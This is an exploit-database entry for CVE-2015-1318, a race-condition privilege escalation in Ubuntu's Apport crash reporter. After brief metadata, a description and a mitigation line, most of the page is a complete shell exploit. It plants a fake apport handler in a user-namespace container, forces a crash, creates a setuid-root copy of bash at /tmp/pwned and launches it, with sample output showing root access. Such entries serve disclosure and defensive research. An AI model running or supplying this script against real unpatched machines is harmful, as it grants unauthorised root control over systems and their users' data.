CVE-2015-1318

vendor:

Ubuntu Linux

by:

Ricardo

7.2

CVSS

HIGH

Privilege Escalation

269

CWE

Product Name: Ubuntu Linux

Affected Version From: 2.14.1-0ubuntu3.8

Affected Version To: 2.14.1-0ubuntu3.8

Patch Exists: YES

Related CWE: CVE-2015-1318

CPE: o:ubuntu:ubuntu_linux:14.04.2

Metasploit: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2015

This exploit is a privilege escalation vulnerability in Apport, a crash reporting system used in Ubuntu. It allows a local user to gain root privileges by exploiting a race condition in the Apport crash handler. The vulnerability is caused by a race condition between the setuid() and execve() system calls. The exploit creates a malicious Apport crash handler script, which is then executed by the Apport crash handler. The malicious script then creates a setuid root shell, which is then executed by the Apport crash handler.

Mitigation:

The vulnerability can be mitigated by applying the patch provided by Ubuntu. The patch ensures that the setuid() system call is executed before the execve() system call.

Source

Exploit-DB raw data:

#!/bin/sh
#
# CVE-2015-1318
# 
# Reference: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758
# 
# Example:
#
# % uname -a
# Linux maggie 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
#
# % lsb_release -a
# No LSB modules are available.
# Distributor ID: Ubuntu
# Description:    Ubuntu 14.04.2 LTS
# Release:    14.04
# Codename:   trusty
#
# % dpkg -l | grep '^ii  apport ' | awk -F ' '  '{ print $2 " " $3 }'
# apport 2.14.1-0ubuntu3.8
#
# % id
# uid=1000(ricardo) gid=1000(ricardo) groups=1000(ricardo) (...)
#
# % ./apport.sh
# pwned-4.3# id
# uid=1000(ricardo) gid=1000(ricardo) euid=0(root) groups=0(root) (...)
# pwned-4.3# exit

TEMPDIR=$(mktemp -d)

cd ${TEMPDIR}

cp /bin/busybox .

mkdir -p dev mnt usr/share/apport

(
cat << EOF
#!/busybox sh
(
cp /mnt/1/root/bin/bash /mnt/1/root/tmp/pwned
chmod 5755 /mnt/1/root/tmp/pwned
) 
EOF

) > usr/share/apport/apport

chmod +x usr/share/apport/apport

(
cat << EOF
mount -o bind . .
cd .
mount --rbind /proc mnt
touch dev/null
pivot_root . .
./busybox sleep 500 &
SLEEP=\$!
./busybox sleep 1
./busybox kill -11 \$SLEEP
./busybox sleep 5
EOF
) | lxc-usernsexec -m u:0:$(id -u):1 -m g:0:$(id -g):1 2>&1 >/dev/null -- \
    lxc-unshare -s "MOUNT|PID|NETWORK|UTSNAME|IPC" -- /bin/sh 2>&1 >/dev/null

/tmp/pwned -p

rm -Rf ${TEMPDIR}